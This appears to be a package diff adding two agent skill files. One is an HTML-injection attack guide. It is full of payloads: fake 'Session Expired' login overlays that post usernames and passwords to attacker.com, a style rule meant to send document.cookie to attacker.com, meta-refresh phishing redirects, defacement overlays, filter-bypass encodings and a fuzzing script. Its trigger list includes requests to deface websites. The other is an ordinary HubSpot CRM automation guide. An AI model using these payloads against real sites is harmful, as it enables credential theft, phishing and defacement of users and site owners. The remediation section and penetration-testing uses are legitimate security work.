skill-library-mcp 1.0.0

package/skills/html-injection-testing/SKILL.md

@@ -0,0 +1,498 @@
+---
+name: HTML Injection Testing
+description: This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# HTML Injection Testing
+
+## Purpose
+
+Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
+
+## Prerequisites
+
+### Required Tools
+- Web browser with developer tools
+- Burp Suite or OWASP ZAP
+- Tamper Data or similar proxy
+- cURL for testing payloads
+
+### Required Knowledge
+- HTML fundamentals
+- HTTP request/response structure
+- Web application input handling
+- Difference between HTML injection and XSS
+
+## Outputs and Deliverables
+
+1. **Vulnerability Report** - Identified injection points
+2. **Exploitation Proof** - Demonstrated content manipulation
+3. **Impact Assessment** - Potential phishing and defacement risks
+4. **Remediation Guidance** - Input validation recommendations
+
+## Core Workflow
+
+### Phase 1: Understanding HTML Injection
+
+HTML injection occurs when user input is reflected in web pages without proper sanitization:
+
+```html
+<!-- Vulnerable code example -->
+<div>
+    Welcome, <?php echo $_GET['name']; ?>
+</div>
+
+<!-- Attack input -->
+?name=<h1>Injected Content</h1>
+
+<!-- Rendered output -->
+<div>
+    Welcome, <h1>Injected Content</h1>
+</div>
+```
+
+Key differences from XSS:
+- HTML injection: Only HTML tags are rendered
+- XSS: JavaScript code is executed
+- HTML injection is often stepping stone to XSS
+
+Attack goals:
+- Modify website appearance (defacement)
+- Create fake login forms (phishing)
+- Inject malicious links
+- Display misleading content
+
+### Phase 2: Identifying Injection Points
+
+Map application for potential injection surfaces:
+
+```
+1. Search bars and search results
+2. Comment sections
+3. User profile fields
+4. Contact forms and feedback
+5. Registration forms
+6. URL parameters reflected on page
+7. Error messages
+8. Page titles and headers
+9. Hidden form fields
+10. Cookie values reflected on page
+```
+
+Common vulnerable parameters:
+```
+?name=
+?user=
+?search=
+?query=
+?message=
+?title=
+?content=
+?redirect=
+?url=
+?page=
+```
+
+### Phase 3: Basic HTML Injection Testing
+
+Test with simple HTML tags:
+
+```html
+<!-- Basic text formatting -->
+<h1>Test Injection</h1>
+<b>Bold Text</b>
+<i>Italic Text</i>
+<u>Underlined Text</u>
+<font color="red">Red Text</font>
+
+<!-- Structural elements -->
+<div style="background:red;color:white;padding:10px">Injected DIV</div>
+<p>Injected paragraph</p>
+<br><br><br>Line breaks
+
+<!-- Links -->
+<a href="http://attacker.com">Click Here</a>
+<a href="http://attacker.com">Legitimate Link</a>
+
+<!-- Images -->
+<img src="http://attacker.com/image.png">
+<img src="x" onerror="alert(1)">  <!-- XSS attempt -->
+```
+
+Testing workflow:
+```bash
+# Test basic injection
+curl "http://target.com/search?q=<h1>Test</h1>"
+
+# Check if HTML renders in response
+curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
+
+# Test in URL-encoded form
+curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
+```
+
+### Phase 4: Types of HTML Injection
+
+#### Stored HTML Injection
+
+Payload persists in database:
+
+```html
+<!-- Profile bio injection -->
+Name: John Doe
+Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
+     <h1>Site Under Maintenance</h1>
+     <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
+     </div>
+
+<!-- Comment injection -->
+Great article!
+<form action="http://attacker.com/steal" method="POST">
+    <input name="username" placeholder="Session expired. Enter username:">
+    <input name="password" type="password" placeholder="Password:">
+    <input type="submit" value="Login">
+</form>
+```
+
+#### Reflected GET Injection
+
+Payload in URL parameters:
+
+```html
+<!-- URL injection -->
+http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
+
+<!-- Search result injection -->
+http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
+```
+
+#### Reflected POST Injection
+
+Payload in POST data:
+
+```bash
+# POST injection test
+curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
+     http://target.com/submit
+
+# Form field injection
+curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
+     http://target.com/register
+```
+
+#### URL-Based Injection
+
+Inject into displayed URLs:
+
+```html
+<!-- If URL is displayed on page -->
+http://target.com/page/<h1>Injected</h1>
+
+<!-- Path-based injection -->
+http://target.com/users/<img src=x>/profile
+```
+
+### Phase 5: Phishing Attack Construction
+
+Create convincing phishing forms:
+
+```html
+<!-- Fake login form overlay -->
+<div style="position:fixed;top:0;left:0;width:100%;height:100%;
+            background:white;z-index:9999;padding:50px;">
+    <h2>Session Expired</h2>
+    <p>Your session has expired. Please log in again.</p>
+    <form action="http://attacker.com/capture" method="POST">
+        <label>Username:</label><br>
+        <input type="text" name="username" style="width:200px;"><br><br>
+        <label>Password:</label><br>
+        <input type="password" name="password" style="width:200px;"><br><br>
+        <input type="submit" value="Login">
+    </form>
+</div>
+
+<!-- Hidden credential stealer -->
+<style>
+    input { background: url('http://attacker.com/log?data=') }
+</style>
+<form action="http://attacker.com/steal" method="POST">
+    <input name="user" placeholder="Verify your username">
+    <input name="pass" type="password" placeholder="Verify your password">
+    <button>Verify</button>
+</form>
+```
+
+URL-encoded phishing link:
+```
+http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
+```
+
+### Phase 6: Defacement Payloads
+
+Website appearance manipulation:
+
+```html
+<!-- Full page overlay -->
+<div style="position:fixed;top:0;left:0;width:100%;height:100%;
+            background:#000;color:#0f0;z-index:9999;
+            display:flex;justify-content:center;align-items:center;">
+    <h1>HACKED BY SECURITY TESTER</h1>
+</div>
+
+<!-- Content replacement -->
+<style>body{display:none}</style>
+<body style="display:block !important">
+    <h1>This site has been compromised</h1>
+</body>
+
+<!-- Image injection -->
+<img src="http://attacker.com/defaced.jpg" 
+     style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
+
+<!-- Marquee injection (visible movement) -->
+<marquee behavior="alternate" style="font-size:50px;color:red;">
+    SECURITY VULNERABILITY DETECTED
+</marquee>
+```
+
+### Phase 7: Advanced Injection Techniques
+
+#### CSS Injection
+
+```html
+<!-- Style injection -->
+<style>
+    body { background: url('http://attacker.com/track?cookie='+document.cookie) }
+    .content { display: none }
+    .fake-content { display: block }
+</style>
+
+<!-- Inline style injection -->
+<div style="background:url('http://attacker.com/log')">Content</div>
+```
+
+#### Meta Tag Injection
+
+```html
+<!-- Redirect via meta refresh -->
+<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
+
+<!-- CSP bypass attempt -->
+<meta http-equiv="Content-Security-Policy" content="default-src *">
+```
+
+#### Form Action Override
+
+```html
+<!-- Hijack existing form -->
+<form action="http://attacker.com/steal">
+
+<!-- If form already exists, add input -->
+<input type="hidden" name="extra" value="data">
+</form>
+```
+
+#### iframe Injection
+
+```html
+<!-- Embed external content -->
+<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
+
+<!-- Invisible tracking iframe -->
+<iframe src="http://attacker.com/track" style="display:none"></iframe>
+```
+
+### Phase 8: Bypass Techniques
+
+Evade basic filters:
+
+```html
+<!-- Case variations -->
+<H1>Test</H1>
+<ScRiPt>alert(1)</ScRiPt>
+
+<!-- Encoding variations -->
+&#60;h1&#62;Encoded&#60;/h1&#62;
+%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
+
+<!-- Tag splitting -->
+<h
+1>Split Tag</h1>
+
+<!-- Null bytes -->
+<h1%00>Null Byte</h1>
+
+<!-- Double encoding -->
+%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
+
+<!-- Unicode encoding -->
+\u003ch1\u003eUnicode\u003c/h1\u003e
+
+<!-- Attribute-based -->
+<div onmouseover="alert(1)">Hover me</div>
+<img src=x onerror=alert(1)>
+```
+
+### Phase 9: Automated Testing
+
+#### Using Burp Suite
+
+```
+1. Capture request with potential injection point
+2. Send to Intruder
+3. Mark parameter value as payload position
+4. Load HTML injection wordlist
+5. Start attack
+6. Filter responses for rendered HTML
+7. Manually verify successful injections
+```
+
+#### Using OWASP ZAP
+
+```
+1. Spider the target application
+2. Active Scan with HTML injection rules
+3. Review Alerts for injection findings
+4. Validate findings manually
+```
+
+#### Custom Fuzzing Script
+
+```python
+#!/usr/bin/env python3
+import requests
+import urllib.parse
+
+target = "http://target.com/search"
+param = "q"
+
+payloads = [
+    "<h1>Test</h1>",
+    "<b>Bold</b>",
+    "<script>alert(1)</script>",
+    "<img src=x onerror=alert(1)>",
+    "<a href='http://evil.com'>Click</a>",
+    "<div style='color:red'>Styled</div>",
+    "<marquee>Moving</marquee>",
+    "<iframe src='http://evil.com'></iframe>",
+]
+
+for payload in payloads:
+    encoded = urllib.parse.quote(payload)
+    url = f"{target}?{param}={encoded}"
+    
+    try:
+        response = requests.get(url, timeout=5)
+        if payload.lower() in response.text.lower():
+            print(f"[+] Possible injection: {payload}")
+        elif "<h1>" in response.text or "<b>" in response.text:
+            print(f"[?] Partial reflection: {payload}")
+    except Exception as e:
+        print(f"[-] Error: {e}")
+```
+
+### Phase 10: Prevention and Remediation
+
+Secure coding practices:
+
+```php
+// PHP: Escape output
+echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
+
+// PHP: Strip tags
+echo strip_tags($user_input);
+
+// PHP: Allow specific tags only
+echo strip_tags($user_input, '<p><b><i>');
+```
+
+```python
+# Python: HTML escape
+from html import escape
+safe_output = escape(user_input)
+
+# Python Flask: Auto-escaping
+{{ user_input }}  # Jinja2 escapes by default
+{{ user_input | safe }}  # Marks as safe (dangerous!)
+```
+
+```javascript
+// JavaScript: Text content (safe)
+element.textContent = userInput;
+
+// JavaScript: innerHTML (dangerous!)
+element.innerHTML = userInput;  // Vulnerable!
+
+// JavaScript: Sanitize
+const clean = DOMPurify.sanitize(userInput);
+element.innerHTML = clean;
+```
+
+Server-side protections:
+- Input validation (whitelist allowed characters)
+- Output encoding (context-aware escaping)
+- Content Security Policy (CSP) headers
+- Web Application Firewall (WAF) rules
+
+## Quick Reference
+
+### Common Test Payloads
+
+| Payload | Purpose |
+|---------|---------|
+| `<h1>Test</h1>` | Basic rendering test |
+| `<b>Bold</b>` | Simple formatting |
+| `<a href="evil.com">Link</a>` | Link injection |
+| `<img src=x>` | Image tag test |
+| `<div style="color:red">` | Style injection |
+| `<form action="evil.com">` | Form hijacking |
+
+### Injection Contexts
+
+| Context | Test Approach |
+|---------|---------------|
+| URL parameter | `?param=<h1>test</h1>` |
+| Form field | POST with HTML payload |
+| Cookie value | Inject via document.cookie |
+| HTTP header | Inject in Referer/User-Agent |
+| File upload | HTML file with malicious content |
+
+### Encoding Types
+
+| Type | Example |
+|------|---------|
+| URL encoding | `%3Ch1%3E` = `<h1>` |
+| HTML entities | `&#60;h1&#62;` = `<h1>` |
+| Double encoding | `%253C` = `<` |
+| Unicode | `\u003c` = `<` |
+
+## Constraints and Limitations
+
+### Attack Limitations
+- Modern browsers may sanitize some injections
+- CSP can prevent inline styles and scripts
+- WAFs may block common payloads
+- Some applications escape output properly
+
+### Testing Considerations
+- Distinguish between HTML injection and XSS
+- Verify visual impact in browser
+- Test in multiple browsers
+- Check for stored vs reflected
+
+### Severity Assessment
+- Lower severity than XSS (no script execution)
+- Higher impact when combined with phishing
+- Consider defacement/reputation damage
+- Evaluate credential theft potential
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |
+| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |
+| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |

package/skills/hubspot-automation/SKILL.md

@@ -0,0 +1,178 @@
+---
+name: hubspot-automation
+description: "Automate HubSpot CRM operations (contacts, companies, deals, tickets, properties) via Rube MCP using Composio integration."
+requires:
+  mcp: [rube]
+---
+
+# HubSpot CRM Automation via Rube MCP
+
+Automate HubSpot CRM workflows including contact/company management, deal pipeline tracking, ticket search, and custom property creation through Composio's HubSpot toolkit.
+
+## Prerequisites
+
+- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
+- Active HubSpot connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `hubspot`
+- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
+
+## Setup
+
+**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
+
+
+1. Verify Rube MCP is available by confirming `RUBE_SEARCH_TOOLS` responds
+2. Call `RUBE_MANAGE_CONNECTIONS` with toolkit `hubspot`
+3. If connection is not ACTIVE, follow the returned auth link to complete HubSpot OAuth
+4. Confirm connection status shows ACTIVE before running any workflows
+
+## Core Workflows
+
+### 1. Create and Manage Contacts
+
+**When to use**: User wants to create new contacts or update existing ones in HubSpot CRM
+
+**Tool sequence**:
+1. `HUBSPOT_GET_ACCOUNT_INFO` - Verify connection and permissions (Prerequisite)
+2. `HUBSPOT_SEARCH_CONTACTS_BY_CRITERIA` - Search for existing contacts to avoid duplicates (Prerequisite)
+3. `HUBSPOT_READ_A_CRM_PROPERTY_BY_NAME` - Check property metadata for constrained values (Optional)
+4. `HUBSPOT_CREATE_CONTACT` - Create a single contact (Required)
+5. `HUBSPOT_CREATE_CONTACTS` - Batch create contacts up to 100 (Alternative)
+
+**Key parameters**:
+- `HUBSPOT_CREATE_CONTACT`: `properties` object with `email`, `firstname`, `lastname`, `phone`, `company`
+- `HUBSPOT_CREATE_CONTACTS`: `inputs` array of `{properties}` objects, max 100 per batch
+- `HUBSPOT_SEARCH_CONTACTS_BY_CRITERIA`: `filterGroups` array with `{filters: [{propertyName, operator, value}]}`, `properties` array of fields to return
+
+**Pitfalls**:
+- Max 100 records per batch; chunk larger imports
+- 400 'Property values were not valid' if using incorrect property names or enum values
+- Always search before creating to avoid duplicates
+- Auth errors from GET_ACCOUNT_INFO mean all subsequent calls will fail
+
+### 2. Manage Companies
+
+**When to use**: User wants to create, search, or update company records
+
+**Tool sequence**:
+1. `HUBSPOT_SEARCH_COMPANIES` - Search existing companies (Prerequisite)
+2. `HUBSPOT_CREATE_COMPANIES` - Batch create companies, max 100 (Required)
+3. `HUBSPOT_UPDATE_COMPANIES` - Batch update existing companies (Alternative)
+4. `HUBSPOT_GET_COMPANY` - Get single company details (Optional)
+5. `HUBSPOT_BATCH_READ_COMPANIES_BY_PROPERTIES` - Bulk read companies by property values (Optional)
+
+**Key parameters**:
+- `HUBSPOT_CREATE_COMPANIES`: `inputs` array of `{properties}` objects, max 100
+- `HUBSPOT_SEARCH_COMPANIES`: `filterGroups`, `properties`, `sorts`, `limit`, `after` (pagination cursor)
+
+**Pitfalls**:
+- Max 100 per batch; chunk larger sets
+- Store returned IDs immediately for downstream operations
+- Property values must match exact internal names, not display labels
+
+### 3. Manage Deals and Pipeline
+
+**When to use**: User wants to search deals, view pipeline stages, or track deal progress
+
+**Tool sequence**:
+1. `HUBSPOT_RETRIEVE_ALL_PIPELINES_FOR_SPECIFIED_OBJECT_TYPE` - Map pipeline and stage IDs/names (Prerequisite)
+2. `HUBSPOT_SEARCH_DEALS` - Search deals with filters (Required)
+3. `HUBSPOT_RETRIEVE_PIPELINE_STAGES` - Get stage details for one pipeline (Optional)
+4. `HUBSPOT_RETRIEVE_OWNERS` - Get owner/rep details (Optional)
+5. `HUBSPOT_GET_DEAL` - Get single deal details (Optional)
+6. `HUBSPOT_LIST_DEALS` - List all deals without filters (Fallback)
+
+**Key parameters**:
+- `HUBSPOT_SEARCH_DEALS`: `filterGroups` with filters on `pipeline`, `dealstage`, `createdate`, `closedate`, `hubspot_owner_id`; `properties`, `sorts`, `limit`, `after`
+- `HUBSPOT_RETRIEVE_ALL_PIPELINES_FOR_SPECIFIED_OBJECT_TYPE`: `objectType` set to `'deals'`
+
+**Pitfalls**:
+- Results nested under `response.data.results`; properties are often strings (amounts, dates)
+- Stage IDs may be readable strings or opaque numeric IDs; use `label` field for display
+- Filters must use internal property names (`pipeline`, `dealstage`, `createdate`), not display names
+- Paginate via `paging.next.after` until absent
+
+### 4. Search and Filter Tickets
+
+**When to use**: User wants to find support tickets by status, date, or criteria
+
+**Tool sequence**:
+1. `HUBSPOT_SEARCH_TICKETS` - Search with filterGroups (Required)
+2. `HUBSPOT_READ_ALL_PROPERTIES_FOR_OBJECT_TYPE` - Discover available property names (Fallback)
+3. `HUBSPOT_GET_TICKET` - Get single ticket details (Optional)
+4. `HUBSPOT_GET_TICKETS` - Bulk fetch tickets by IDs (Optional)
+
+**Key parameters**:
+- `HUBSPOT_SEARCH_TICKETS`: `filterGroups`, `properties` (only listed fields are returned), `sorts`, `limit`, `after`
+
+**Pitfalls**:
+- Incorrect `propertyName`/`operator` returns zero results without errors
+- Date filtering may require epoch-ms bounds; mixing formats causes mismatches
+- Only fields in the `properties` array are returned; missing ones break downstream logic
+- Use READ_ALL_PROPERTIES to discover exact internal property names
+
+### 5. Create and Manage Custom Properties
+
+**When to use**: User wants to add custom fields to CRM objects
+
+**Tool sequence**:
+1. `HUBSPOT_READ_ALL_PROPERTIES_FOR_OBJECT_TYPE` - List existing properties (Prerequisite)
+2. `HUBSPOT_READ_PROPERTY_GROUPS_FOR_OBJECT_TYPE` - List property groups (Optional)
+3. `HUBSPOT_CREATE_PROPERTY_FOR_SPECIFIED_OBJECT_TYPE` - Create a single property (Required)
+4. `HUBSPOT_CREATE_BATCH_OF_PROPERTIES` - Batch create properties (Alternative)
+5. `HUBSPOT_UPDATE_SPECIFIC_CRM_PROPERTY` - Update existing property definition (Optional)
+
+**Key parameters**:
+- `HUBSPOT_CREATE_PROPERTY_FOR_SPECIFIED_OBJECT_TYPE`: `objectType`, `name`, `label`, `type` (string/number/date/enumeration), `fieldType`, `groupName`, `options` (for enumerations)
+
+**Pitfalls**:
+- Property names are immutable after creation; choose carefully
+- Enumeration options must be pre-defined with `value` and `label`
+- Group must exist before assigning properties to it
+
+## Common Patterns
+
+### ID Resolution
+- **Property display name → internal name**: Use `HUBSPOT_READ_ALL_PROPERTIES_FOR_OBJECT_TYPE`
+- **Pipeline name → pipeline ID**: Use `HUBSPOT_RETRIEVE_ALL_PIPELINES_FOR_SPECIFIED_OBJECT_TYPE`
+- **Stage name → stage ID**: Extract from pipeline stages response
+- **Owner name → owner ID**: Use `HUBSPOT_RETRIEVE_OWNERS`
+
+### Pagination
+- Search endpoints use cursor-based pagination
+- Follow `paging.next.after` until absent
+- Typical limit: 100 records per page
+- Pass `after` value from previous response to get next page
+
+### Batch Operations
+- Most create/update endpoints support batching with max 100 records per call
+- For larger datasets, chunk into groups of 100
+- Store returned IDs from each batch before proceeding
+- Use batch endpoints (`CREATE_CONTACTS`, `CREATE_COMPANIES`, `UPDATE_COMPANIES`) instead of single-record endpoints for efficiency
+
+## Known Pitfalls
+
+- **Property names**: All search/filter endpoints use internal property names, NOT display labels. Always call `READ_ALL_PROPERTIES_FOR_OBJECT_TYPE` to discover correct names
+- **Batch limits**: Max 100 records per batch operation. Larger sets must be chunked
+- **Response structure**: Search results are nested under `response.data.results` with properties as string values
+- **Date formats**: Date properties may be epoch-ms or ISO strings depending on endpoint. Parse defensively
+- **Immutable names**: Property names cannot be changed after creation. Plan naming conventions carefully
+- **Cursor pagination**: Use `paging.next.after` cursor, not page numbers. Continue until `after` is absent
+- **Duplicate prevention**: Always search before creating contacts/companies to avoid duplicates
+- **Auth verification**: Run `HUBSPOT_GET_ACCOUNT_INFO` first; auth failures cascade to all subsequent calls
+
+## Quick Reference
+
+| Task | Tool Slug | Key Params |
+|------|-----------|------------|
+| Create contact | `HUBSPOT_CREATE_CONTACT` | `properties: {email, firstname, lastname}` |
+| Batch create contacts | `HUBSPOT_CREATE_CONTACTS` | `inputs: [{properties}]` (max 100) |
+| Search contacts | `HUBSPOT_SEARCH_CONTACTS_BY_CRITERIA` | `filterGroups, properties, limit, after` |
+| Create companies | `HUBSPOT_CREATE_COMPANIES` | `inputs: [{properties}]` (max 100) |
+| Search companies | `HUBSPOT_SEARCH_COMPANIES` | `filterGroups, properties, after` |
+| Search deals | `HUBSPOT_SEARCH_DEALS` | `filterGroups, properties, after` |
+| Get pipelines | `HUBSPOT_RETRIEVE_ALL_PIPELINES_FOR_SPECIFIED_OBJECT_TYPE` | `objectType: 'deals'` |
+| Search tickets | `HUBSPOT_SEARCH_TICKETS` | `filterGroups, properties, after` |
+| List properties | `HUBSPOT_READ_ALL_PROPERTIES_FOR_OBJECT_TYPE` | `objectType` |
+| Create property | `HUBSPOT_CREATE_PROPERTY_FOR_SPECIFIED_OBJECT_TYPE` | `objectType, name, label, type, fieldType` |
+| Get owners | `HUBSPOT_RETRIEVE_OWNERS` | None |
+| Verify connection | `HUBSPOT_GET_ACCOUNT_INFO` | None |